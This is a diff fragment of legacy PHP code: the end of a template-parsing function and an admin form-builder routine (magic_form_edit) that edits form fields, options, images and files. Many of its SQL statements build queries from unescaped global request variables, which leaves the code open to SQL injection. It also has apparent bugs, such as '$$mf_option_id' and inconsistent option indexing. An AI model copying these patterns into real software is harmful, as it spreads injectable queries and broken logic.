+
+ if( empty($f) )
+ return( "ERROR: View string not provided." );
+
+ // Replace all {include:filename}
+
+ while( !( ($p2 = strpos( $f, '<!--{include:' )) == FALSE ) ) // While there's file includes
+ {
+
+ $p = $p2 + 13; // Save the position of the start of the filename
+
+ // Look for the end of this tag
+
+ if( !( $p2 = strpos($f, "}-->", $p)) || $p2 == $p ) // If there's no }--> following it, then something's wrong
+ return ("ERROR: parse_view() - Missing name of {include:filename} tag at $p.<P><PRE>".htmlentities(substr($f, $p, 500))."</PRE>");
+
+ // Read in the specified file
+
+ $filename = substr($f, $p, $p2 - $p); // Get name of the specified file
+ if( !($inc_file = file_get( SI_BASE_PATH.'/'.$filename)) )
+ return ("ERROR: parse_view() - Target of {include:filename} tag does not exist or is unreadable at $p.<P><PRE>".htmlentities(substr($f, $p-13, 500))."</PRE>");
+
+ // Replace the tag with the file contents
+
+ $f = str_replace( '<!--{include:'.$filename.'}-->', $inc_file, $f );
+
+ }
+
+ // Tear out {exclude} ... {/exclude} regions
+
+ $f = preg_replace( "/<!--\\{exclude\\}-->.*?<!--\\{\/exclude\\}-->/s", "", $f );
+
+ // Remove comments from around any {INCLUDE ... /INCLUDE} regions
+
+ $f = str_replace( "<!--{include}", "", $f );
+ $f = str_replace( "{/include}-->", "", $f );
+
+ // Insert any specified files
+ $f = replace_file_tokens( $f );
+
+ // Replace all global tokens
+ $f = replace_tokens( $f, $tokens["global"] );
+
+ // Do conditional replacements for global tokens
+
+ $f = cond_replace_tokens( $f, $tokens["global"] );
+
+ $out = process_view_lists( $f, $tokens );
+
+ if( $show_unused )
+ $out = preg_replace( "/(\\{\S*?\\})/", "<FONT COLOR=\"red\"><BLINK>\\1</BLINK></FONT>", $out );
+
+ if( SI_DEBUG_VIEW )
+ $out .= "<P> <P><HR><P>Tags supplied to parse_view() function<P>".tableize_array( $tokens );
+
+ return( $out );
+
+}
+
+
+ // MagicForm - Edit Form
+
+function magic_form_edit( $mf_id, $mf_format, $mf_level = 0 )
+ {
+
+//
+// Needed Enhancements
+//
+// Calculated fields - based on results from other fields
+//
+
+/* data1 field description
+ *
+ * {title}~{subform_id}~{misc_data}|{title}~{subform_id}~{misc_data}|...
+ *
+ */
+
+
+ global $mf_field_id, $mf_action, $mf_position, $mf_field_id, $mf_field_option, $mf_option_id, $mf_option_name, $mf_option_value, $mf_option_value_type, $mf_position, $mf_position_num,
+ $mf_field_text, $mf_field_image, $mf_field_image_name, $mf_field_image_delete, $mf_field_imagesize, $mf_field_title, $mf_field_descr, $form_data, $link_data, $mf_type, $mf_style, $mf_styles, $mf_action_id,
+ $mf_field_cols, $mf_field_rows, $mf_custom_id, $mf_field_file, $mf_field_file_name, $mf_field_file_delete,
+ $mf_formats, $mf_format_type, $mf_format_char, $mf_format_dec, $mf_format_min, $mf_format_max, $mf_def_val;
+
+ // Always pass along the current form/sub-form with any action requests
+
+ $mf_form_data = '<input type="hidden" name="mf_action_id" value="'.$mf_id.'">';
+ $mf_link_data = '&mf_action_id='.$mf_id;
+
+ $r['success'] = false; // Assume a failed return
+ $r['modified'] = false; // Assume we're not modifying the form - This is set to true for anything that changes the form in a way that old form results can't be used anymore.
+ $r['text'] = ''; // With no text
+
+ // If we have a field ID then get data for that too
+
+ if( !empty($mf_field_id) && ($mf_field_data = db_auto_get_row( "SELECT * FROM ".MF_TABLE." WHERE id = $mf_field_id;", 0, SI_CONN_STR, FALSE )) )
+ $mf_field_data1 = $mf_field_data['data1'];
+ else
+ $mf_field_data1 = '';
+
+ $mf_normalize = false;
+ $mf_custom_id_update_message = '';
+
+ //
+ // Process Actions
+ //
+
+ if( $mf_action_id == $mf_id )
+ switch( $mf_action )
+ {
+
+ case "Add Field":
+
+ // Add new field with default data
+
+ // $r['modified'] = true;
+ $oid = db_auto_exec( "INSERT INTO ".MF_TABLE." ( form_id, title, type, active, required, sort, expanded, style, format, file, cols, rows )
+ VALUES ( '$mf_id', '', 0, 't', 'f', $mf_position, 't', 'Default', '', '', 20, 4 );", SI_CONN_STR, FALSE );
+ $f = db_auto_get_row( "SELECT id FROM ".MF_TABLE." WHERE OID = $oid;", 0, SI_CONN_STR, FALSE ); // Get new field ID
+ $mf_field_id = $f['id'];
+ $mf_normalize = true;
+ break;
+
+ case "Set Type":
+
+ // $r['modified'] = true;
+
+ // Determine default style format for this type - First format that can be used for this type
+
+ reset( $mf_styles );
+ while( list($key, $val) = each($mf_styles) )
+ if( strstr( $val['types'], ' '.$mf_type.' ' ) )
+ {
+ $mf_style .= $key;
+ break;
+ }
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET type = $mf_type, style = '$mf_style' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ if( $mf_type == 1 ) // IF checkbox
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = 'Yes~~~|No~~~' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Set Style":
+
+ // $r['modified'] = true;
+ db_auto_exec( "UPDATE ".MF_TABLE." SET style = '$mf_style' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Set Field Format":
+
+ // $r['modified'] = true;
+ $x = $mf_format_type.'~'.$mf_format_char.'~'.$mf_format_dec.'~'.$mf_format_min.'~'.$mf_format_max;
+ db_auto_exec( "UPDATE ".MF_TABLE." SET format = '$x' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Add Option":
+
+ // $r['modified'] = true;
+ if( trim($mf_field_option) == '' )
+ break;
+
+ if( !empty($mf_field_data1) )
+ $x = $mf_field_data1."|".$mf_field_option."~~";
+ else
+ $x = $mf_field_option."~~";
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($x)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Add Subform":
+
+ // $r['modified'] = true;
+ $x = explode( "|", $mf_field_data1 );
+ $y = explode( "~", $x[$mf_option_id] );
+ $x[$mf_option_id-1] = $y[0]."~$mf_id.$mf_field_id.".time().'~'.$y[2];
+ $mf_field_data1 = implode( "|", $x );
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Delete Subform":
+
+ // $r['modified'] = true;
+ $x = explode( "|", $mf_field_data1 );
+ $y = explode( "~", $x[$mf_option_id-1] );
+ $x[$mf_option_id-1] = $y[0].'~~'.$y[2];
+ $mf_field_data1 = implode( "|", $x );
+
+ // Delete any Images or Files associated with these fields
+
+ if( ($del_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1]."%';" )) )
+ {
+ foreach( $del_fields as $d )
+ {
+ switch( $d['type'] )
+ {
+ case 24: // Image
+ delete_image( $d['file'] );
+ break;
+ case 25: // File
+ file_delete( $d['file'] );
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ db_auto_exec( "DELETE FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1]."%'; UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Edit Option Name":
+
+ // $r['modified'] = true;
+ $x = explode( "|", $mf_field_data1 );
+ $y = explode( "~", $x[$mf_option_id-1] );
+ $x[$mf_option_id-1] = $mf_option_name.'~'.$y[1].'~'.$y[2].'~'.$y[3];
+ $mf_field_data1 = implode( "|", $x );
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Edit Option Value":
+
+ // $r['modified'] = true;
+ $x = explode( "|", $mf_field_data1 );
+ $y = explode( "~", $x[$mf_option_id-1] );
+ $x[$mf_option_id-1] = $y[0].'~'.$y[1].'~'.$mf_option_value.'~'.$mf_option_value_type;
+ $mf_field_data1 = implode( "|", $x );
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Delete Option":
+
+ $r['modified'] = true;
+ $x = explode( "|", $mf_field_data1 );
+ $y = explode( "~", $x[$mf_option_id-1] );
+ array_splice( $x, $mf_option_id-1, 1 );
+ $mf_field_data1 = implode( "|", $x );
+
+ // Delete any Images or Files associated with these fields
+
+ if( ($del_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1].".%';" )) )
+ {
+ foreach( $del_fields as $d )
+ {
+ switch( $d['type'] )
+ {
+ case 24: // Image
+ delete_image( $d['file'] );
+ break;
+ case 25: // File
+ file_delete( $d['file'] );
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ // Delete any sub-forms and update this field data
+
+ db_auto_exec( "DELETE FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1].".%'; UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Move Option Up":
+
+ // If option position isn't already at the top
+ if( $mf_option_id-1 != 0 )
+ {
+ $r['modified'] = true;
+ $x = explode( "|", $mf_field_data1 );
+ $y = array();
+ for( $i=0 ; $i<count($x) ; $i++ )
+ {
+ if( $i == $mf_option_id-1 )
+ $y[$i*10-15] = $x[$i];
+ else
+ $y[$i*10] = $x[$i];
+ }
+ ksort($y);
+ $mf_field_data1 = implode( "|", $y );
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ }
+ break;
+
+ case "Move Option Down":
+ $x = explode( "|", $mf_field_data1 );
+ // If option position isn't already at the bottom
+ if( $$mf_option_id-1 != count($x)-1 )
+ {
+ $r['modified'] = true;
+ $y = array();
+ for( $i=0 ; $i<count($x) ; $i++ )
+ {
+ if( $i == $mf_option_id-1 )
+ $y[$i*10+15] = $x[$i];
+ else
+ $y[$i*10] = $x[$i];
+ }
+ ksort($y);
+ $mf_field_data1 = implode( "|", $y );
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ }
+ break;
+
+ case "Toggle Active":
+
+ // $r['modified'] = true;
+ db_auto_exec( "UPDATE ".MF_TABLE." SET active = '".($mf_field_data['active']=='t'?'f':'t')."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Toggle Required":
+
+ // $r['modified'] = true;
+ db_auto_exec( "UPDATE ".MF_TABLE." SET required = '".($mf_field_data['required']=='t'?'f':'t')."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Toggle Expanded":
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET expanded = '".($mf_field_data['expanded']=='t'?'f':'t')."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Expand All":
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET expanded = 't' WHERE form_id = '$mf_id';", SI_CONN_STR, FALSE );
+ break;
+
+ case "Contract All":
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET expanded = 'f' WHERE form_id = '$mf_id';", SI_CONN_STR, FALSE );
+ break;
+
+ case "Reposition":
+
+ if( !empty( $mf_position_num ) )
+ {
+ if( clean_input( 'mf_position_num', 'int', true ) == '' )
+ {
+ $mf_position = $mf_position_num * 10;
+ if( $mf_position > $mf_field_data['sort'] )
+ $mf_position += 1;
+ else
+ $mf_position -= 1;
+ }
+ else
+ break;
+ }
+
+ // $r['modified'] = true;
+ db_auto_exec( "UPDATE ".MF_TABLE." SET sort = $mf_position WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ $mf_normalize = true;
+ break;
+
+ case "Update Text":
+
+ // $r['modified'] = true;
+ db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_text)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Update Field":
+
+ // $r['modified'] = true;
+ $other_fields = '';
+ if( $mf_field_data['type'] >= 2 && $mf_field_data['type'] <= 4 ) $other_fields .= ', cols = '.$mf_field_cols;
+ if( $mf_field_data['type'] == 4 ) $other_fields .= ', rows = '.$mf_field_rows;
+ if( $mf_field_data['type'] == 2 || $mf_field_data['type'] == 3 ) $other_fields .= ", default_val = '$mf_def_val'";
+ db_auto_exec( "UPDATE ".MF_TABLE." SET title = '".addslashes($mf_field_title)."', descr = '".addslashes($mf_field_descr)."'$other_fields WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ case "Update Image":
+
+ // $r['modified'] = true;
+ $new_image = '';
+ $image_update = false;
+
+ // if there's an existing image and we're either deleting or replacing it
+ if( $mf_field_data['file'] != '' && ( $mf_field_image_delete == 'on' || $mf_field_image_name != '' ) )
+ {
+ delete_image( $mf_field_data['file'] );
+ $image_update = true;
+ }
+
+ // If there's an image supplied
+ if( $mf_field_image_name != '' )
+ {
+ $new_image = process_image( $mf_field_image, $mf_field_image_name );
+ $image_update = true;
+ }
+
+ if( $image_update )
+ db_auto_exec( "UPDATE ".MF_TABLE." SET file = '".addslashes($new_image)."', size = '$mf_field_imagesize' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+ else
+ db_auto_exec( "UPDATE ".MF_TABLE." SET size = '$mf_field_imagesize' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+
+
+ break;
+
+ case "Update File":
+
+ $existing_filename = $mf_field_data['file'];
+
+ $new_filename = trim($mf_field_file_name);
+
+ // If delete is requested or there's a new file upload AND there's an existing file, then delete the old one
+
+ if( ( $mf_field_file_delete == 'on' || $new_filename != '' ) && $existing_filename != '' )
+ {
+ file_delete( $existing_filename );
+ $existing_filename ='';
+ }
+
+ if( $mf_field_file != '' )
+ {
+ if( !($new_filename = file_upload( $mf_field_file, $new_filename )) )
+ $new_filename = '';
+ }
+ else
+ $new_filename = $existing_filename;
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET file = '".addslashes($new_filename)."' WHERE id= $mf_field_id;" );
+
+ break;
+
+ case "Set Custom ID":
+
+ // $r['modified'] = true;
+ $mf_custom_id = trim($mf_custom_id);
+
+ if( $mf_custom_id != '' && db_auto_get_row( "SELECT id FROM ".MF_TABLE." WHERE form_id = '$mf_id' AND custom_id = '$mf_custom_id';" ) )
+ $mf_custom_id_update_message = 'ID in Use.';
+ else
+ db_auto_exec( "UPDATE ".MF_TABLE." SET custom_id = '".trim($mf_custom_id)."' WHERE id = $mf_field_id;" );
+
+ break;
+
+ case "Set Default":
+
+ db_auto_exec( "UPDATE ".MF_TABLE." SET default_val = '".$mf_def_val."' WHERE id = $mf_field_id;" );
+
+ break;
+
+ case "Delete":
+
+ // $r['modified'] = true;
+
+ // Delete any Images or Files associated with these fields
+
+ if( ($del_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id LIKE '$mf_id.%' OR id = $mf_field_id;" )) )
+ {
+ foreach( $del_fields as $d )
+ {
+ switch( $d['type'] )
+ {
+ case 24: // Image
+ delete_image( $d['file'] );
+ break;
+ case 25: // File
+ file_delete( $d['file'] );
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ db_auto_exec( "DELETE FROM ".MF_TABLE." WHERE form_id LIKE '$mf_id.$mf_field_id.%' OR id = $mf_field_id;", SI_CONN_STR, FALSE );
+ break;
+
+ default:
+ break;
+ }
+
+ // If we need to normalize the sort numbers
+
+ if( $mf_normalize )
+ {
+ $mf_data = db_auto_get_data( "SELECT id, sort FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE );
+ $qs = 'BEGIN;'.$nl;
+ $i = 10;
+ foreach( $mf_data as $mf )
+ {
+ $qs .= "UPDATE ".MF_TABLE." SET sort = ".$i." WHERE ID = ".$mf['id'].";\n";
+ $i += 10;
+ }
+ db_auto_exec( $qs."COMMIT;", SI_CONN_STR, FALSE );
+ }
+
+ //
+ // Display current form status
+ //
+
+ $font_size = '100%'; // Font size percentage to use for form elements
+
+ $mf_bgcolor = ($mf_level % 2);
+
+ $r['text'] .= '<TABLE BORDER="4" RULES="GROUPS" CELLPADDING="2" CELLSPACING="0" width="95%" BGCOLOR="'.($mf_bgcolor == 1?'#D1F1F1':'#ffffff').'">'.$nl;
+
+ if( ($mf_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE )) )
+ {
+
+ foreach( $mf_fields as $mf )
+ {
+
+ $base_form_data = '<FORM ACTION="'.SI_THIS_SCRIPT.'" ENCTYPE="multipart/form-data" METHOD="post" >
+ '.$form_data.$mf_form_data.'
+ <INPUT TYPE="hidden" NAME="mf_field_id" VALUE="'.$mf['id'].'">
+ ';
+
+ $mf_data = $mf_text = $mf_type_text = '';
+
+ $mf_title_req = false;
+
+ switch( $mf['type'] )
+ {
+ // Checkbox
+
+ case 1:
+ $mf_data .= '<BR>';
+ $mf_type_text = 'Checkbox';
+ $mf_data .= '<TABLE BORDER="0" WIDTH="100%" CELLPADDING="2" CELLSPACING="0" RULES="GROUPS">';
+ if( !empty($mf['data1']) )
+ {
+
+ $mf_data1 = explode( "|", $mf['data1'] );
+ for( $i=1 ; $i<=count($mf_data1) ; $i++ )
+ {
+
+ $x = explode( "~", $mf_data1[$i-1] );
+
+ // Set option value output format
+
+ if( trim($x[2]) != '' )
+ switch( $x[3] )
+ {
+ case 1: $xv = money($x[2]); break;
+ default: $xv = $x[2]; break;
+ }
+ else
+ $xv = '(no value)';
+
+ $mf_data .= '<TR>
+ <TD ALIGN="left" VALIGN="top" CLASS="standout">Option: '.$x[0].'</TD>
+ <TD ALIGN="right" VALIGN="top" CLASS="standout">Value: '
+ .quick_edit( $mf['id'].'.'.$i, $xv,
+ '<CENTER>'.$base_form_data.'
+ <INPUT TYPE="hidden" NAME="mf_option_id" VALUE="'.$i.'">
+ Option value: <INPUT TYPE="text" NAME="mf_option_value" STYLE="font-size: '.$font_size.';" VALUE="'.$x[2].'" SIZE="10">
+ Value Type: <SELECT NAME="mf_option_value_type"><OPTION VALUE="0"'.($x[3]==0?' SELECTED':'').'>Number</OPTION><OPTION VALUE="1"'.($x[3]==1?' SELECTED':'').'>Money</OPTION></SELECT><br>
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Edit Option Value" STYLE="font-size: '.$font_size.';">
+ </FORM></CENTER>' )
+ .'</TD>
+ <TD ALIGN="right">
+ '.( $x[1] == '' ?
+ '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Add+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Sub-Form]</A>'
+ :
+ '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Delete+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Delete Sub-Form]</A>'
+ ).'
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Up&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'" ><b>↑</b></A>
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Down&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'"><b>↓</b></A>
+ ';
+
+ $mf_data .= '</TD>
+ </TR>';
+ if( $i == $mf['default_val'] )
+ $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3">Default Selection</TD></TR>';
+ else
+ $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3"><A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Set+Default&mf_field_id='.$mf['id'].'&mf_def_val='.$i.'">Set as default selection</A></TD></TR>';
+
+ if( $x[1] != '' )
+ {
+ $rs = magic_form_edit( $x[1], $mf_format, $mf_level+1 );
+ if( $rs['success'] )
+ $mf_data .= '<TR><TD COLSPAN="3" ALIGN="right">'.$rs['text'].'</TD></TR>';
+ if( $rs['modified'] )
+ $r['modified'] = true;
+ }
+ $mf_data .= ''.$nl;
+ }
+ }
+ $mf_data .= '</TABLE>';
+ $mf_title_req = true;
+ break;
+
+ // Number
+
+ case 2:
+ $mf_type_text = 'Number';
+ $mf_title_req = true;
+ break;
+
+ // Text field
+
+ case 3:
+ $mf_type_text = 'Text';
+ $mf_title_req = true;
+ break;
+
+ // Text Box
+
+ case 4:
+ $mf_type_text = 'Text Box';
+ $mf_title_req = true;
+ break;
+
+ // Picklist
+
+ case 5:
+
+ // Radio Buttons
+
+ case 6:
+
+ switch( $mf['type'] )
+ {
+ case 5: $mf_type_text = 'Picklist'; break;
+ case 6: $mf_type_text = 'Radio Buttons'; break;
+ }
+
+ $mf_data .= '<TABLE BORDER="0" WIDTH="100%" CELLPADDING="2" CELLSPACING="0" RULES="GROUPS">';
+ if( !empty($mf['data1']) )
+ {
+ $mf_data1 = explode( "|", $mf['data1'] );
+ for( $i=1 ; $i<=count($mf_data1) ; $i++ )
+ {
+ $x = explode( "~", $mf_data1[$i-1] );
+
+ // Set option value output format
+
+ if( trim($x[2]) != '' )
+ switch( $x[3] )
+ {
+ case 1: $xv = money($x[2]); break;
+ default: $xv = $x[2]; break;
+ }
+ else
+ $xv = '(no value)';
+
+ $mf_data .= '<TR>
+ <TD ALIGN="left" VALIGN="top" CLASS="standout">'
+ .quick_edit( $mf['id'].'.'.$i, 'Option: '.stripslashes($x[0]),
+ '<CENTER>'.$base_form_data.'
+ <INPUT TYPE="hidden" NAME="mf_option_id" VALUE="'.$i.'">
+ <INPUT TYPE="text" NAME="mf_option_name" STYLE="font-size: '.$font_size.';" VALUE="'.stripslashes($x[0]).'" SIZE="50"><BR>
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Edit Option Name" STYLE="font-size: '.$font_size.';">
+ </FORM></CENTER>' )
+ .'</TD>
+ <TD ALIGN="right" VALIGN="top" CLASS="standout">Value: '
+ .quick_edit( $mf['id'].'.'.$i."_value", $xv,
+ '<CENTER>'.$base_form_data.'
+ <INPUT TYPE="hidden" NAME="mf_option_id" VALUE="'.$i.'">
+ Option value: <INPUT TYPE="text" NAME="mf_option_value" STYLE="font-size: '.$font_size.';" VALUE="'.$x[2].'" SIZE="10">
+ Value Type: <SELECT NAME="mf_option_value_type"><OPTION VALUE="0"'.($x[3]==0?' SELECTED':'').'>Number</OPTION><OPTION VALUE="1"'.($x[3]==1?' SELECTED':'').'>Money</OPTION></SELECT><br>
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Edit Option Value" STYLE="font-size: '.$font_size.';">
+ </FORM></CENTER>' )
+ .'</TD>
+ <TD ALIGN="right">
+ '.( $x[1] == '' ?
+ '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Add+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Sub-Form]</A>'
+ :
+ '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Delete+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Delete Sub-Form]</A>'
+ ).'
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Delete+Option&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[delete]</A>
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Up&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'" ><b>↑</b></A>
+ <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Down&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'"><b>↓</b></A>
+ ';
+
+ $mf_data .= '</TD>
+ </TR>';
+
+ if( $i == $mf['default_val'] )
+ $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3">Default Selection</TD></TR>';
+ else
+ $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3"><A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Set+Default&mf_field_id='.$mf['id'].'&mf_def_val='.$i.'">Set as default selection</A></TD></TR>';
+
+ if( $x[1] != '' )
+ {
+ $rs = magic_form_edit( $x[1], $mf_format, $mf_level+1 );
+ if( $rs['success'] )
+ $mf_data .= '<TR><TD COLSPAN="3" ALIGN="right">'.$rs['text'].'</TD></TR>';
+ if( $rs['modified'] )
+ $r['modified'] = true;
+
+ }
+ $mf_data .= ''.$nl;
+ }
+ }
+ else
+ $mf_data .= '<TR><TD COLSPAN="3" ALIGN="left"><FONT COLOR="red">No options selected yet.</FONT></TD></TR>'.$nl;
+
+ $mf_data .= '<TR>
+ <TD COLSPAN="3" ALIGN="right">'
+ .quick_edit( '_add_option_'.$mf['id'],
+ '<span class="pseudo_link">[Add Option]</a>',
+ '<CENTER>'.$base_form_data.'
+ <INPUT TYPE="text" NAME="mf_field_option" STYLE="font-size: '.$font_size.';">
+ <INPUT TYPE="submit" NAME="mf_action" VALUE="Add Option" STYLE="font-size: '.$font_size.';">
+ </FORM></CENTER>' )
+ .'</TD><TR>
+ </TABLE>';
+ $mf_title_req = true;
+ break;
+
+ // File Upload
+
+ case 7:
+ $mf_type_text = 'File Upload';
+ $mf_title_req = true;
+ break;
+
+
+ // Section Title
+
+ case 20:
+ $mf_type_text = 'Section Title';
+ $mf_text .= quick_edit( $mf['id'],
+ '<SPAN CLASS="standout">'.($mf['data1']!=''?stripslashes($mf['data1']):'(Section title not set)').'</span>',
+ $base_form_data.'<TABLE BORDER="0">
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Title:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_text" VALUE="'.$mf['data1'].'" STYLE="font-size: '.$font_size.';" SIZE="80"></TD>
+ </TR>
+ </TABLE>
+ <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Text" STYLE="font-size: '.$font_size.';"></CENTER>
+ </FORM>
+ ' );
+
+
+ break;
+
+ // Misc. Text
+
+ case 21:
+ $mf_type_text = 'Misc. Text';
+ $mf_text .= quick_edit( $mf['id'],
+ ( $mf['data1'] != '' ?
+ ( $mf['expanded'] == 't' ?
+ stripslashes($mf['data1'])
+ :
+ substr( stripslashes($mf['data1']), 0, 225 ).' ...'
+ )
+ :
+ '<SPAN CLASS="standout">(Misc. text not set)</SPAN>'
+ ),
+ $base_form_data.'<TABLE BORDER="0">
+ <TR>
+ <TD> </TD>
+ <TD ALIGN="right" VALIGN="top">Misc. Text:</TD>
+ <TD ALIGN="left" COLSPAN="3" VALIGN="top"><TEXTAREA NAME="mf_field_text" STYLE="font-size: '.$font_size.';" COLS="60" ROWS="4">'.$mf['data1'].'</TEXTAREA></TD>
+ </TR>
+ </TABLE>
+ <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Text" STYLE="font-size: '.$font_size.';"></CENTER>
+ </FORM>
+ ' );
+ break;
+
+ // Horizontal Line
+
+ case 22:
+ $mf_type_text = 'Horiz Line';
+ $mf_text = '<hr>';
+ break;
+
+ // Blank Line
+
+ case 23:
+ $mf_type_text = 'Blank Line';
+ $mf_text .= '(a blank line)';
+ break;
+
+ // Display Image
+
+ case 24:
+ $mf_type_text = 'Image';
+ switch( $mf['size'] )
+ {
+ case 'original': $image_size_url = SI_IMG_ORIGINAL_URL; break;
+ case 'resized': $image_size_url = SI_IMG_RESIZED_URL; break;
+ case 'midsized': $image_size_url = SI_IMG_MIDSIZED_URL; break;
+ default:
+ case 'thumb': $image_size_url = SI_IMG_THUMB_URL; break;
+ }
+
+ $mf_data .= quick_edit( $mf['id'].'_image',
+ ( $mf['file'] != '' ?
+ '<img src="'.$image_size_url.'/'.$mf['file'].'">'
+ :
+ '<SPAN CLASS="standout">(Image not set)</SPAN>'
+ ),
+ $base_form_data.'<TABLE BORDER="0" width="100%">
+ <TR>
+ <TD COLSPAN="2" align="center">'.( $mf['file'] != '' ? '<img src="'.SI_IMG_THUMB_URL.'/'.$mf['file'].'">':'(no image)').'</TD>
+ </TR>
+ <TR>
+ <TD ALIGN="right">Delete existing Image:</TD>
+ <TD ALIGN="left"><INPUT TYPE="checkbox" NAME="mf_field_image_delete"></TD>
+ </TR>
+ <TR>
+ <TD ALIGN="right">Image Size:</TD>
+ <TD ALIGN="left">
+ <SELECT NAME="mf_field_imagesize">
+ <OPTION VALUE="original"'.($mf['size']=='original'?' SELECTED':'').'>Original</OPTION>
+ <OPTION VALUE="resized"'.($mf['size']=='resized'?' SELECTED':'').'>Resized</OPTION>
+ <OPTION VALUE="midsized"'.($mf['size']=='midsized'?' SELECTED':'').'>Midsized</OPTION>
+ <OPTION VALUE="thumb"'.($mf['size']=='thumb'?' SELECTED':'').'>Thumbnail</OPTION>
+ </SELECT>
+ </TD>
+ </TR>
+ <TR>
+ <TD ALIGN="right">Select Image:</TD>
+ <TD ALIGN="left"><INPUT TYPE="file" NAME="mf_field_image"></TD>
+ </TR>
+ </TABLE>
